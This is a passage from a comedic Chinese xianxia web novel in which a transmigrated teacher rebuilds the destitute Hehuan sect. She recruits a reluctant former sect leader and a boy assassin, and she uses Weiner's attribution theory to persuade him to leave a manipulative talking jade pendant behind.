《全宗门发疯,我情绪稳定》
7. 教书狱人
宋稚晕机了。
第一次坐在飞剑上飞,简直像是极限运动。
速度与激情是体验到了,她的胃是顶不住了。
“等等,让我歇一歇!歇一歇再飞!”
南宫窈窕看了一眼她惨白的脸,脚下灵剑放缓了些许,落在了一处高高的山峰之顶。
宋稚脚下发软,下了飞剑扶着树冷静。
幸好能中途停飞剑,否则她都想喊把飞机窗户打开透透气了。
等缓过来,宋稚发现这是一处绝佳的……
“好适合架狙啊!”
山峰位置是附近最高的,俯视群山,从这里看去,可以看到远处影影绰绰的护山大阵。
她掏出来地图,看了看,“果然,这里距离合欢宗不远,又距离百宗书院不远。”
“架狙是什么?”
宋稚在地图上点了点,“地图上没明说这是属于谁的,是交界处。”
“走走走,我们下山!”
南宫窈窕:?
端木青鸟:??
等下了山,宋稚在山下走动,低着头巡视半晌,“找到了!”
一块巨大的石头,在山脚下伫立着。
上面写着:合欢宗。
宋稚丈量了一番,又让端木青鸟踢了一脚石头,确认架狙点完全处在合欢宗境内。
“地理要塞绝对要掌握自己手中。”
另外两个人:……
等到宋稚折腾完,她也恢复的差不多了。
“走,我们回合欢宗。”
端木青鸟小心翼翼地说:“宋……”
她有些难以喊出口,不知道喊掌门还是喊什么。
“我叫宋稚,喊我宋老师就行,习惯了!”
“好吧。”端木青鸟说:“宋老师,合欢宗本来就是依附于百宗书院而活的,为什么要关注架狙点,难道要防着百宗书院吗?”
“依附?”宋稚眨了眨眼,“我不觉着。”
她说:“我千辛万苦地将你喊回合欢宗,不是当百宗书院的附庸的,我的目标很简单,就是青云榜头名。”
青云榜头名。
这样的成绩连喊出来都觉着令人敬畏。
想要成为青云榜头名,起码要有能成圣的心理准备。
这样的话任修仙界中的谁听说,都会觉着好笑的。
端木青鸟小声说:“我们没有能力,都是炉鼎。炉鼎怎么能成圣呢?”
宋稚认真地看着端木青鸟。
她说,“你原本属于端木家族。”
端木青鸟,14岁,东方楚森国,端木家族中人,与烈火国朱雀一脉时常联姻。
她六岁开脉为合欢之脉,就成为了族中弃子,人人嫌弃她,人人厌恶她。
“端木家族多是木系技法,木代表曲直,是楚森国的中坚力量。当你被选择成为合欢宗之人,便彻底与你的同伴走上了不同的道路。他们是天之骄子,而你……”
宋稚盯着端木青鸟:“你当真甘心日后成为一个人的炉鼎吗?被禁锢在方寸之地,永远只取悦一个人?”
不。
端木青鸟当然是不甘心的。
药庐的一切是她的梦魇,她好不容易才下定决心挣脱桎梏,想要走向一片新的天地,那么就不能再重新踏入绝望。
“我会努力。”
宋稚微笑起来:“不是努力,是拼命。”
“接下来的日子,会很艰苦。”
根据宋稚所了解到的,想要入百宗书院学习,也不是那么容易的事情。
他们已经走到了合欢宗。
“到了。”
端木青鸟沉默地看着家徒四壁的合欢宗,沉默地看向宋稚:“宋老师说的艰苦,是宗门里什么都不剩下的艰苦吗?”
大约是宋稚带着南宫窈窕出门了,合欢宗里没人镇守,讨债的人将仅剩的房子框架也拆了卖钱了。
眼前只有光秃秃的地皮。
宋稚:……
-
遇事不决先开会。
在空荡荡的合欢宗遗址上,三个人开了第一次全体大会。
宋稚捧着一本厚厚的规章制度,哗啦啦翻页:“幸好,这些规章制度没人拿走。”
“上面写了,想要进入百宗书院,常驻人数必须有五个人。”
不仅如此,宋稚也需要进入百宗书院学习。
合欢宗宗主等于校长,校长属于管理岗位。然而在修仙界,她还是一个筑基期。
宋稚说:“我们还差两个人。”
百宗书院的开院典礼快要进行了,必须要在之前找到剩下两个人。
南宫窈窕揉着额头,漫不经心:“别算我,我已经功成身退,我是要离开合欢宗的。”
这位曾经在合欢宗掌门之位百年的前任掌门,现在堂而皇之地宣告她要溜号了。
宋稚就当没听到南宫窈窕说什么。
她掏出来小镜子看着眉心合欢花印记,自顾自地说:“完了啊,现在我把自己也搭进去了。”
她现在眉心已经有了合欢宗烙印,这代表着她在某一日也要被分配给某个高阶修士当炉鼎。
所以宋稚的目标,也是青云榜头名。
每年青云榜都会变动,按照她有一百年的时间算,她还有很多次机会。
宋稚对此很有信心。
如今,整个合欢宗全员炉鼎,好好学习、改变命运是合欢宗永恒的主题。
“是哦,宋老师你要被被挑选,听说合欢宗掌门的分配对象会是最高阶的修士。”
端木青鸟捧着下巴,“上上一任合欢宗宗主好像被分给了魔宫当炉鼎。”
宋稚坚决不要。
南宫窈窕:“为什么?”
“听上去魔宫就不是正经单位。”
“那你所说的正经单位是?”
曾经有人讨论过,教师跟哪个职业结婚是王炸?
“当然是狱警。”宋稚说。
“为什么?难道是圣都刑院的人?”
关押犯人的地方,也就是圣都刑院的人吧。
宋稚平静地说:“因为,教书狱人。”
啊哈,绝配!
南宫窈窕:……
系统:……
宿主有一种平静的疯感。
-
宋稚决定之后要去百宗书院讨要宗门建设发展资金。
总得财政拨款吧!
再次之前,他们首先要解决住宿的问题。
南宫窈窕极为熟稔地飞出来白绫,在树上打结,就那么水灵灵地睡在了绳索上。
端木青鸟捂着嘴偷笑:“宋老师,你睡在哪里呀?”
之前的房子虽然漏雨,起码能遮风。
如今什么都没有了。
宋稚维持住自己的尊严:“我不睡了,我通宵写教案!”
端木青鸟眨了眨眼睛。
她小声说:“第一次庆幸我是端木家的人。”
什么?
宋稚有些没明白。
下一秒,端木青鸟微微闭眼,神情严肃。
她白皙的手指按照某种规律迅速结印,指尖萦绕着淡淡的绿色灵气。
那是木系高阶法术!
结印完毕,木系法术成功。
宋稚的眼前,出现了一座两层楼的……木质房子!
端木青鸟松了一口气。
她的脸色苍白,额头上都是过度施术流淌下的汗珠。
“幸好我这些年一直在四处流浪,因着没地方住,专门精修了这一个高阶法术,不然还真不知道要怎么办。”
宋稚:……
她拍了拍端木青鸟的肩膀:“不愧是你啊,端木青鸟!”
端木青鸟常年低着的头,骄傲抬起来:“我的木系高阶法术,可是很厉害的!”
看着这一幕的南宫窈窕:……
怎么会有人将宝贵的高阶法术,用在造房子上。
真是人才。
-
这天夜里,宋稚终于有了能睡觉的地方。
深夜,沉睡的宋稚睁开眼睛。
她似有所感。
悄无声息地站起身来,走到了庭院中。
月色森森。
庭院中的人已经走了出去,向着宗门外而行。
宋稚:“南宫老师,你去哪儿?”
月色下的高挑女子顿住脚步。
她转过身来,是人畜无害的表情:“我只是夜里睡不着,想要出来溜达。”
宋稚提步跟上,“我也睡不着,我跟南宫老师一起散散步吧。”
“不了吧,三更半夜,孤男……孤女寡女,在一起不太好。”
宋稚:“没关系,我不介意。”
南宫窈窕:……
刚才他走的时候,察觉到宋稚的呼吸均匀,明明睡的很沉,怎么眨眼间就清醒了!
被抓包的南宫窈窕脸色很臭。
月色下,两个人并排而行。
宋稚没说话。
白日里南宫窈窕说了要辞行的话,宋稚就当没没有听到。
如今正是合欢宗的用人之时,五个人还没凑到,又岂能让她
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南宫窈窕了?
夜里宋稚就留了心眼。
果然,南宫老师是要偷偷溜走啊。
“还不知道南宫老师来自于哪个宗门或者宗族呢。”
合欢宗人员资料是掌门收集的,南宫窈窕自己就是掌门,她压根没放她自己的资料,宋稚除了知道她的名字,对她一无所知。
南宫窈窕一笑,“魔宫的。”
宋稚:???
她脑子里迅速搜索这些时日恶补的功课。
“魔宫……墨雨国魔宫。”
在宋稚收集到的资料中,墨雨国偏向于混乱中立,是五个势力中最善恶不分的,而魔宫手段狠辣,让人不敢小觑。
宋稚记着魔宫的事情,更为重要的一点是,书上记载,魔宫中的男子俱都戴着面具,不可被人摘下面具。
宋稚眼睛都亮了,八卦之心顿起:“魔宫只收男子吗?摘下面具又如何?”
南宫窈窕:“……只收男子是传闻,魔宫弟子有男有女。只是女子不必时刻戴面具,所以甚少被人发现是魔宫中人罢了。”
宋稚连连点头:“原来如此,我还以为是纯享·男德班呢!”
南宫窈窕:……
“对了,白天那件事情,我还要再跟你说一遍,我要离开了。”
南宫窈窕说到这里,一扭头……宋稚呢?
……
宋稚已经跑了。
在手下的人提辞职的时候,最好还是装傻当做不知道。
第二天一早,宋稚继续跟南宫窈窕斗智斗勇。
正常说话可以,但是绝对不接南宫窈窕的话茬。
端木青鸟感觉到两个人的气氛有些不太对。
她偷偷问宋稚:“宋老师,你跟南宫老师有些怪怪的。”
“有吗?没有的事儿。”
宋稚抬手揉了揉青鸟的头发,“好好等着上书院,老师一定能凑够五个人的。”
“嗯!”
宋稚看向南宫窈窕:“南宫老师,正值用人之际,你也不想孩子们回来上学没有老师吧?”
“我都当了一百年的掌门了!还不许我退休了?”
宋稚语重心长:“过去的一百年里,你可没有好好干活啊!落下的功课,得好好补回来。将功赎罪吧。”
南宫窈窕:???
显然,看南宫老师的样子,并不打算留在合欢宗。
如何能留下南宫窈窕?
宋稚绞尽脑汁,悄无声息地跟踪南宫窈窕。
合欢宗里有一处温泉。
南宫窈窕喜欢去那处温泉。
宋稚也打算去温泉泡一泡。
谢天谢地,讨债的人不会挖走温泉。
云雾缥缈。
宋稚刚出现的时候,南宫窈窕泡在温泉中,乌黑的长发披散下来,露出白皙的脖颈。
她手中拿着一个银雕的面具,似是在沉思。
她愕然抬头,“宋稚,你怎么来了?”
宋稚茫然,她不能来泡温泉吗?
“等等哈,我这就脱衣服下来。”
南宫窈窕:……
等等……
宋稚眼睛看向了南宫窈窕手中的面具。
她以迅雷不及掩耳之势飞出来,将面具夺走!
“这是男德宫的面具吗?让我瞧瞧。”
“你不能碰!”
南宫窈窕挣扎着要拿她的面具。
却又像是顾忌什么,露出水面到胸口上面的位置,愣是没站起来。
“困阵!”
宋稚立刻瞬发技能:田字格——困阵!
南宫窈窕被浮动的黑色墨迹困住,她看着温泉里浮现的阵法,气极反笑:“你用困阵对付我?”
宋稚捏着面具。
她蹲在温泉岸上,看着南宫窈窕的脸色随着她的手指变幻。
宋稚意识到了什么。
她干脆地把大美人的面具收起来了。
大美人南宫老师幽幽地说:“你以为藏起来我的面具,我就不能走了吗?”
宋稚挠了挠头:“是哦。”
也不是被偷了衣服的七仙女,没了面具自然是能走的。
她刚才只是突然想到了男德宫的事情,突发奇想,觉着可以试试。
大美人幽幽幽幽道:“是的。没有面具我走不了了。”
我们男德宫,就是这么讲究。
男德宫有规矩,丢了面具就别回来。
大美人南宫窈窕端庄地坐在温泉中,幽幽幽幽幽幽道:“流氓。”
宋稚:???
8. 成败归因
“你确定‘杀了么’组织的联络点是这里?”
“确定!”
端木青鸟狠狠点头:“一年前我最后一次看到他,就是在这里。”
镇上的大树上,宋稚与端木青鸟趴在繁茂的树枝上,看着不远处的宅院。
宅院是个普通的宅院,这是一家经营丝绸的布匹店。
两个人盯梢了一整天,看上去那些人都很正常。
宋稚揉了揉眼睛:“没什么特别的啊。”
他们特意选择从傍晚盯梢的,盯到了白天,也没看到异常。
青鸟想了想:“也许是用了高阶迷惑阵法,我们看不穿真正的杀了么联络据点。”
这倒是有可能。
宋稚锤了锤自己发麻的腿:“南宫窈窕跟我闹别扭了,实在是喊不动她一起过来,不然她真的蛮好用的。”
前天她去温泉与南宫窈窕一起沐浴,没想到意外拿走了面具,南宫窈窕便答应留在合欢宗。
虽然宋稚没看出来那面具有什么稀奇,但是达成了目的便好。
身为校长,就要知人善用。
目前为止,宋稚发现南宫老师简直属于全能型的。
什么都会,什么都懂。
就是懒得干。
想想过去的一百年里,南宫窈窕就是这么放羊的。
宋稚得出来结论:得抽打南宫老师才能干活。
……当然,除了南宫窈窕生气的时候。
现在南宫窈窕还在气头上,宋稚便只好先让她消消气。
在解决了南宫老师的辞职问题之后,宋稚就着手招生第二个辍学学生。
陈郁。
陈郁与端木青鸟同岁,如果还活着,目前也是14岁。
不同的是他来合欢宗的时间点有些特殊。
在被送往合欢宗的时候,他便失踪了数年,直至几年前才回到合欢宗,没多久又不见了踪影。
端木青鸟在四处流浪的时候见过陈郁一面。
那时候他身着黑色长袍,上面交织着红色与银色的花纹,胸口处纹着一张血红的蜘蛛网,网的中央绣着一个“杀”字。
这是杀了么组织的标志。
黑袍很大,将瘦削的他笼罩其中。
端木青鸟一眼就看到了他,然而她没敢上前。
那时,陈郁的剑尖仍旧在滴血。
那血不是别人的,是陈郁自己的。
为首的健壮男子带着几个个子与陈郁差不多的男孩,脸色很是凶恶:“这次的任务,只有你没有完成!你怎么这么废物!”
他一把将陈郁推倒在地上,锋锐的剑刃划伤了陈郁的手腕。
鲜血顺着剑尖流淌,洇湿了地面。
“你这种炉鼎体质,加入什么杀了么组织?就该好生伺候着我们,长大了当炉鼎才对!”
壮汉眼神变化,想要伸手去摸陈郁的脸。
然而下一秒,陈郁提起了剑,挽了一个剑花。
险些割伤健壮首领。
他脸色一变:“你什么意思?”
“我能完成任务。”
陈郁沉默地站起身来,没有拍身上的泥土,转身离开。
随着他的动作,身上的玉佩微微摇晃。
在日光下,玉佩莹润有光泽,吸引人的眼睛,似是蛊惑。
端木青鸟回忆那次见到陈郁的场面,她不知道为何打了一个冷颤:“宋老师,你不知道陈郁当时的眼神多可怕。”
“第二天我起的很早,远远就看到街上躺着一个尸体。那个尸体,就是昨天的壮汉首领!”
端木青鸟往宋稚这边爬了爬,“宋老师,你真的要找陈郁吗?一年没见,他可能又更加变态了。”
她小声说:“他会杀了你的。”
宋稚随手摸了摸青鸟的脑袋,平静地说:“放心,这个世界上没有人比我的杀气更重。”
端木青鸟想了想。
确实。
宋老师看上去疲惫厌倦,实际上眼神里有着浓烈的杀气。
宋老师说那是牛马的怨气。
南宫窈窕前掌门的实力深不可测,结果怎么样,还不是乖乖被摁下留在合欢宗了。
“嗯!”端木青鸟重重点头。
宋稚眯了眯眼:“我看到腰上挂着玉佩的男孩了。”
……
莹白的玉佩随着少年的走动而晃动。
少年身形瘦的过分,杀了么组织的黑袍笼罩在他身上,将面容罩住,格外的宽大空荡。
他从街角深处走来,像是笼罩在一层无法褪去的阴霾中。
布匹店依旧如常。
陈郁即将走进店铺里。
宋稚当机立断,从树上跳下来:“陈郁!”
当宋稚喊出来陈郁的名字的时候,陈郁的瞳孔微缩。
他的动作行云流水,迅速抽出灵剑,锋锐的剑光从两个人身上闪过。
一声铮鸣!
宋稚:??
我是来招生的,不是来送死的。
她明明没有释放任何灵气,也没有任何杀意,仅仅拦路而已,陈郁怎么就上杀招了?
宋稚连忙道:“我是你的掌门!现在来接你回合欢宗!”
剑光戛然而止。
剑刃停留在宋稚脖颈处。
一根汗毛被削掉。
杳无声息地落下。
宋稚面色不变,抬指推开了灵剑:“走吧。”
“不走。”
兜帽遮盖住了少年的脸,只看到一点白皙冷硬的下巴。
端木青鸟怯怯地站在一边,有些不敢看他。
陈郁看向端木青鸟:“是你把这个废物带过来的?”
宋稚:“?喂!对掌门要尊重一点!尊师重道懂吗?”
“嗤。”陈郁说:“不过是炉鼎和大炉鼎的区别而已。”
宋稚:……
这小嘴是淬过毒吗?
不愧是在杀了么杀手组织呆了数年的人物。
宋稚正在头疼怎么说动他,她的眼神不由自主地落在陈郁身上的玉佩。
通体莹白,隐若流光。
她一时看的出了神。
时间恍若静止。
【系统:触发恋爱脑支线任务剧情!】
【陈郁,伴随着灭门惨案而走向不归路的少年。他渴求能复仇的力量,却身为炉鼎体质,无法复仇的他扭曲彷徨,流浪天下,想要找到灭门的仇人。】
【唯一的温暖是当年灭门之时将他带出来的女孩,女孩给了他一块玉佩,陈郁一直想要找到女孩。多年后,当陈郁成为漠北国君的炉鼎之后,他再次遇到了玉佩女子。于是他愿意为了心爱的女子背叛国君,为她奉献出生命。】
【多年纠葛之后,陈郁生命垂危,奄奄一息,才得知当年的玉佩并非那么简单,他心底唯一留存的光,竟然是邪恶组织的幕后主导,女孩灭了他满门,玉佩也不过是为了控制他心神才留给他的,一切只是因为有趣罢了。】
宋稚:……
她下意识地伸手,揭开了一直罩着陈郁脑袋的兜帽。
适才的杀意森冷俱都不见了。
眼前是一个还带着婴儿肥的……清俊男孩模样。
他的眼睛很是清澈,又有些不耐。
嗓音也没有刚才刻意维持的低沉,“你干嘛?”
宋稚:……
这小男孩还没到变声期呢!
怎么就成了恋爱脑了!
“你必须跟我走。”
如果刚才没有触发系统剧情,也许宋稚会想办法找另外的生源,可是陈郁也太惨了吧!
“呵。”
陈郁脸上没有丝毫的表情,冰冷冷道:“我在杀了么组织很受器重,回合欢宗做什么?”
他审视地看着宋稚,轻蔑道:“一个筑基期的废物,也敢带我走?”
宋稚:……
不会好好说话,真的很欠揍啊!
她狠狠瞪了一眼陈郁身上悬挂的玉佩。
就在此刻,玉佩里飘出来一道飘渺的烟雾。
从玉佩里,竟然出现了一个胡子花白、慈眉善目的老爷爷。
宋稚下意识地去看端木青鸟。
端木青鸟却完全没有反应,显然她看不到。
【系统:触发目标任务剧情后可以看到关联的关键物品。】
宋稚:……懂了,这个老爷爷是关键物品。
老爷爷显然也没有想到除了陈郁之外,还有别的人能看到他。
他摸着白胡子,笑眯眯道:“合欢宗的掌门?走了也行,杀了么组织根本不看重你。”
“这次的任务竟然是丁级任务,让你帮县长的老夫人找猫?”
“老头我真是无聊的要命。”
宋稚险些笑出声来。
这就是陈郁说的“很受器重”吗?
宋稚:“哦?是吗?”
陈郁眼睛微闭。
“闭嘴!”
宋稚没闭嘴。
因为她认为这声闭嘴是给玉佩老爷爷说的。
果然,玉佩老爷爷骂骂咧咧:“你这个小鬼,我都说了我能帮你复仇,你为什么一直不肯接受我的帮助?”
“你被灭门是你的不幸运,遇到我才是你的幸运!”
“你这种疑神疑鬼,谁都不信的性格,真是让人烦死了!”
老头在抓狂。
宋稚心底舒了一口气。
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还好,陈郁的多疑救了他。
这个玉佩来路不正。
若是按照玉佩中的老头说的做,很快就会沦为被控制的傀儡!
多疑让陈郁也不想搭理宋稚。
“今天看来很不幸运。”
他转身就走。
【拯救陈郁的恋爱脑:灭门惨案的邪恶玉佩,幼年幸运的阴谋!】
【目前进度0%】
宋稚亦是跟着他走。
“幸运?你很在乎吗?”
系统刚跳出来了提示。
关键词看来是“幸运”。
既然是“幼年幸运的阴谋”,显然“幸运”这个词语,在陈郁幼年的时候便出现了。
陈郁顿住脚步。
男孩的个子刚到宋稚的胸口位置。
他略微仰头,仰视着宋稚。
宋稚此刻看了看陈郁,又往回看了看端木青鸟。
嗯,端木青鸟比陈郁的个子好像高了一点点。
看来陈郁这些年都没有好好吃饭。
陈郁:“我是一个运气不好的人。”
宋稚心想,家族被灭,父母被杀,流落多年,当阴暗杀手。
偏偏开脉之时天注定他是一个炉鼎,只能委屈地加入合欢宗,等着委身他人。
家族的仇不能报,恩人找不到。
陪伴他的只有一个可疑的玉佩老爷爷,这些年陈郁也没有信任过这个玉佩。
怪不得陈郁会说他运气不好。
陈郁的嗓音虽然有些低,却很清澈:“但是,我这样不幸运的人,也有幸运的事情。”
“我要找到我的小幸运。”
他这一生,唯一的幸运,便是遇到了给他玉佩的女孩。
她说她叫小幸运。
这些年他一直想要变强,然而炉鼎体质让一切都成空。就连杀了么都在歧视他,给他的任务都是最低级的。
他一心想着复仇,心底冰冷,唯有当年救了他的那个女孩,他一直感念于心。
宋稚明白了。
当年被灭门,陈郁在那个自称小幸运的女孩帮助下,逃出生天,于是他将认为一切是自己的运气不好。
只有那个叫小幸运的女孩子,才是他的运气。
他一直想要找到小幸运。
因为他认为已经无法改变自己的不幸。
你的小幸运会害了你的命。
宋稚心想。
“再跟着我,我杀了你!”
宋稚的神色严肃起来。
“陈郁同学,身为你未来的老师,我要给你上第一课。”
陈郁有些懵了。
……都这个时候了,还要上课?
男孩仰头看着宋稚。
许是常年在外流浪,他的长发随意被一根破布条扎着,头发有些松散,额头上的乱毛都翘着。
宋稚很想去把那乱毛压下去,她忍住了。
她严肃地说:“你这是经典的错误归因!”
陈郁:“……错误、归因?”
“是!”
宋稚怜爱地看着陈郁,像是野草一样长大的陈郁,一直在被那个灭门的仇人控制着。
他已经失去了方向。
宋稚耐心地说:“韦纳,一个美国仁儿,提出来了成败归因理论。”
一件事情和行为,成败归因维度分为稳定、不稳定,内在、外在,可控性、不可控性。
成败的原因则是因为六个因素:能力、努力程度、工作难度、运气的好坏、身心状况、外部环境。①
“实际上,那些所有在你身上发生的故事,是不可控的,是外在的,是不稳定的,根本不是年幼的你的错,也不是你能控制的。”
宋稚认真地说:“至于你一直抓着的救命稻草‘幸运’,恰恰是最不稳定,最外在,最不可控制的。”
“那个女孩不是你的小幸运,也不是你唯一能抓住的小幸运。”
“你身上发生的诸多事情,如此惨烈,你要做的就是振作起来,回到合欢宗,改变自己的命运。在所有的事情中,你唯一可控的,只有你的努力程度!”
陈郁的状态,用成败归因理论看来,就是他认为一切是运气。
他是一个运气不好的人。
都是运气不好造成的一切。
只有找到那个给他好运气的女孩,他就能得救了。
宋稚必须让他重建正确的归因,理顺正确的因果关系!
“……唯一能做的,是努力?”
男孩的眼睛有些迷茫,“可是努力,会得到结果吗?”
一个合欢宗的炉鼎,一个加入杀手组织也只能去找猫的废物……也能得到力量吗?
9. 体外金丹
宋稚微笑着说:“不试试,又如何知道呢?”
陈郁微微垂下头,头顶上的呆毛翘的更凌乱了。
他沉默了一会儿,将兜帽重新戴在头上:“我是一个杀手。”
“我要去接任务。”
宋稚看不到他的脸。
似乎带上兜帽,隔绝了他人的视线,他便不再是那个不幸的男孩。
玉佩老头漂浮在半空中,换了一个姿势:“对对对,陈郁是一个冷酷无情的杀手!他迟早会接受我的魔心,怎么会跟你走呢?”
宋稚摸了摸下巴。
陈郁显然不是一时半会能说动的,但是她也不能现在就走。
她看着陈郁身上挂着的玉佩。
玉佩老头一直在说什么魔心,怎么听都不像是正路。
陈郁也隐隐有所感觉,他并没有完全听玉佩老头的话,也没有修行老头提供的魔心功法。
多疑让他保住了命,但是现在他已经动摇了。
说不定下一次老头的蛊惑,就让他踏上不归路。
再者,玉佩是控制陈郁的开始,系统发布的任务还需要时间展开。
她要查到这个玉佩到底邪恶在哪里,与毁了他一生的女孩如何联系,最好能说服陈郁毁掉玉佩。
然而想到系统任务里的原本剧情,宋稚心知这并非易事。
陈郁已经将玉佩当作唯一的希望,怎么会毁掉玉佩?
难搞。
宋稚看着陈郁即将错身而过,端木青鸟站了出来,挡住了陈郁的路。
陈郁微微垂着头,冷哼一声,抬手便要推开端木青鸟。
然而端木青鸟纹丝不动。
不仅如此,她一把抓住陈郁的手腕,将他拖到了小巷的草丛边。
宋稚:……
拎着陈郁跟拎着小鸡仔一样,端木青鸟这一身蛮力,真是有地方使了。
玉佩老头惊叫一声:“这小丫头力气好大!难道是体修?”
陈郁:“你做什么?”
端木青鸟指了指道路旁边的四叶草丛。
“听说找到四个叶子的四叶草,就会找到幸运。我们来赌一赌,如果你找到了四叶草,说明你该跟着宋老师走。”
“不赌。”
端木青鸟仰起头,眼睛里格外澄澈。
“宋老师肯帮你,你为什么不肯赌一把?怎么,有能力做杀手,没有能力赌一把吗?”
“如果你连找到四叶草都不敢,那么你还敢说以后会找到你的小幸运?”
这话让陈郁动摇了。
他想了想,蹲下身,开始找四叶草。
郁郁葱葱的叶子们挤在一处,看不出来是三片叶子、还是四片叶子。
他伸手摘了一片四叶草。
三片叶子。
还是三片叶子。
又是三片叶子。
陈郁的心也渐渐坠入谷底。
真的……没有属于自己的幸运吗?
宋稚抱臂站在一边。
陈郁嘴里说着要去接任务,然而听了端木青鸟的话还是乖乖蹲下来找四叶草。
还是个孩子。
只是……四叶草是三叶草的变种,是好运的象征,据说能找到一片四叶草的概率只有十万分之一。
陈郁能找到吗?
日上中天,光影洒落,吞噬了阴暗。
陈郁的手指有些僵硬。
指尖里是一片小小的、翠绿的四叶草。
他抿了抿唇,轻声说:“找到了。”
即便是一棵草,他也有了自己的小幸运。
……
宋稚帮忙把四叶草夹在了账本里。
“等老师做好了标本再还给你,这样保存的时间久一点!”
陈郁没说话。
他脱了那一身杀了么杀手组织的斗篷之后,就格外不自在,手脚都不知道放哪里。
在宋稚将那一身黑袍往院子里扔之前,陈郁扑过来。
宋稚:?
陈郁从黑袍上撕下一块黑布,当作面罩遮住了自己半张脸,这才还给宋稚:“扔吧。”
“……行吧,你开心就好。”
袍子扔进去没多久,一个壮汉跑出来了。
他骂骂咧咧道:“这死小鬼,不想干了就扔制服!撕的破破烂烂的!”
“陈郁你是疯了吧!!你不知道你是炉鼎体质吗?迟早被抓走当禁脔!”
“要不是你跑得早,老子就下手了!”
一路上,陈郁都很沉默。
只有玉佩老头在聒噪。
玉佩老头:“你之前不受重视,现在更完蛋啦!”
“你回到合欢宗,就得准备好洗洗干净等着分配道侣了,还真相信这个女人说的话啊?”
“老头我有天之修行秘籍,可以助力你成为修仙界第一人!你学不学啊?”
“你要是对这个不感兴趣,老头我还有地之秘籍一百零八册,让你上天入地无所不能,你学不学啊?”
“或者干脆接受魔心,让天下人臣服!”
宋稚:这邪恶老头,想要带坏小孩!
陈郁:……
他低下头,抬起手缠绕紧面罩,将脸捂得更严实了。
宋稚:……
这孩子这么自闭,该不会是被这玉佩老头烦的吧。
宋稚伸手,递给陈郁一个小东西。
陈郁纳闷地抬头。
呆毛还在翘着。
宋稚微笑道:“这是耳塞,很好用。”
陈郁的眼神波动,有些不一样了。
他接过去耳塞,按照宋稚说的塞进自己的耳朵里。
世界清静了。
紧皱的小眉头舒展了。
-
一行人回到合欢宗的时候,已经是日落时分。
南宫窈窕躺在屋顶上,懒散地看夕阳。
“你还真的又带回来了一个傻瓜。”
宋稚站在庭院中仰头看她:“南宫老师,你的招生KPI还没完成呢!”
呵,让你说风凉话还不干活。
”每个人至少带回来三个学生,现在有两个学生,我给我们一个人算一个,至少还要每个人招收俩人。”
想退休?没门。
宋稚直接给他再就业了。
南宫窈窕幽幽坐起身来。
“我就歇了一天,真有你的啊宋稚。”
她看向沉默无声的陈郁:“包这么严实,谁啊。”
陈郁戴着面罩,只露出来一双眼睛。
他没说话。
南宫窈窕哼了一声:“这个世界上敢不理我的人,都死了。”
宋稚:“?幸亏陈郁没听到,不然把孩子吓跑了怎么办?”
她抬手摘下陈郁的耳塞:“跟你南宫老师打个招呼。”
南宫窈窕挑眉:“带耳塞干嘛?”
陈郁仰头看南宫窈窕。
南宫窈窕的个子很高挑,他只能仰着头看她。
陈郁的眼神很不友好。
“谁啊这是。”
宋稚:“怪不得人都跑了,你之前有好好工作吗?人都不认识了!”
南宫
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窈窕打了一个哈欠:“现在的长相能跟前几年一样吗?”
也是。
这个年龄的小孩一个月一个样的,南宫窈窕那会儿见到的还是更小版本的陈郁。
“这是陈郁。”
宋稚说:“这个子还没青鸟高,这几年显然也没好好吃饭,也没过什么好日子。”
玉佩老头见缝插针地飘出来:“没有实力只会被遗忘!陈郁!你还不明白吗?被灭满门的仇恨只有我才能帮你!”
“你看,根本没有人记得你!”
“接受我的魔心,你就不会落得跟这些蠢货一个下场!”
南宫窈窕的视线微微扫过,像是看到了玉佩老头一般,眼波流转间,隐隐是森冷之意。
她挑眉:“哦,是他啊。”
南宫窈窕的眼睛有些狭长,眼尾处一滴赤色泪痣,看上去灼灼发亮。
玉佩老头:?
尽管没有实体,后背却一寒。
总有些拿不准说的“是他”是陈郁还是自己。
陈郁又将耳塞塞上了。
全程没说话。
关于学生的身世家庭之类的,宋稚很有职业素养,绝对不会在孩子面前讨论。
她简单地说了几句,就让他们准备休息了。
端木青鸟还想再建新的房屋,然而修炼的高阶法术需要攒很久的灵气,暂时无法再使用。
好在房间还够用。
宋稚洗漱之后躺在自己的房间,她查看着系统给予的奖励。
在陈郁决定回合欢宗的时候,系统便提示进度条动了。
【拯救陈郁的恋爱脑:目前进度10%,解锁奖励!】
看来只要离开杀了么组织,改变他被玉佩蛊惑修行邪功的决定,就改变了重要节点。
【解锁:体外灵丹,金算盘上的金算珠一枚。】
宋稚愣住了。
什么叫做体外灵丹?
以及,金算盘不仅仅是用来算账?
【系统:宿主可以试试探索修仙技能哦!】
【身为合欢宗掌门,恋爱脑们的校长,自然是特殊的修行功法呢!】
宋稚睡不着了。
她坐起身来,抄起来金算盘。
金算盘上的算珠莹润通透,最右下角的珠子闪烁着金色的光芒。
宋稚抬手触摸,一瞬间周身一震,像是摸到了……自己的肌肤一般,是温热的,暖暖的,像是有血液在其中流动。
当触碰到金算珠的时候,她身体经脉里流转的灵气瞬间向着金算珠涌去。
金算珠承接了她的灵气。
宋稚想到什么,将这几天修炼的全身灵气都传送进去。
半个时辰后,宋稚全身虚脱,身体里半点灵气都没有了,然而那枚算盘珠越发的莹润。
确定了,这就是体外灵丹。
根据宋稚对修仙界的了解,修士们只有一个金丹,在身体丹田处。
而修仙界中没有飞升一说,灵气并不算是磅礴,修士修炼灵气都是一点点攒的,即便是在战斗中也要算着灵气来战斗,否则灵气耗尽便会任人所为。
宋稚刚从凡人体踏入修仙路,才刚刚筑基,距离金丹期还有些遥远,更为重要的是,即便是她结金丹,也不过是一个!
现在宋稚却能将算盘珠当做体外金丹!
这意味着她日后还能解锁更多的金丹!
宋稚眼睛灼灼地盯着算盘珠子。
第一次为在咸鱼乱买东西感到得意:咱也是在咸鱼淘到好东西了!
捡漏的快乐谁懂啊!!
10. 宋稚有毒
第二天一早,宋稚起床洗漱。
端木青鸟也在。
她看了一眼宋稚,又看了一眼,小声说:“宋老师看上去年轻了些许。”
宋稚:?
“你以前觉着我多少岁?”
端木青鸟迟疑道:“不太像是修仙人的那种。”
宋稚:……
懂了。
修仙中人会延年益寿,八十岁的修仙者对比凡人来说,通常还是十几岁的模样。
她掏出来小镜子看了看自己的面容,果然,眼睛下面的黑眼圈轻了些许。
当初她当老师之后,损友是这么评价的:第一年你像24,第三年你像42,当老师果然能让人变得成熟!
宋稚:这是催熟催过头了吧!
损友:别说,你的下颔线还变明显了。
宋稚:那是咬牙切齿练出来的。
现在的宋稚火速返老还童。
她摸了摸紧致的下颔线,“南宫窈窕呢?”
“南宫老师一大早就离开宗门了。”
宋稚眨了眨眼:“啊?去哪儿了?”
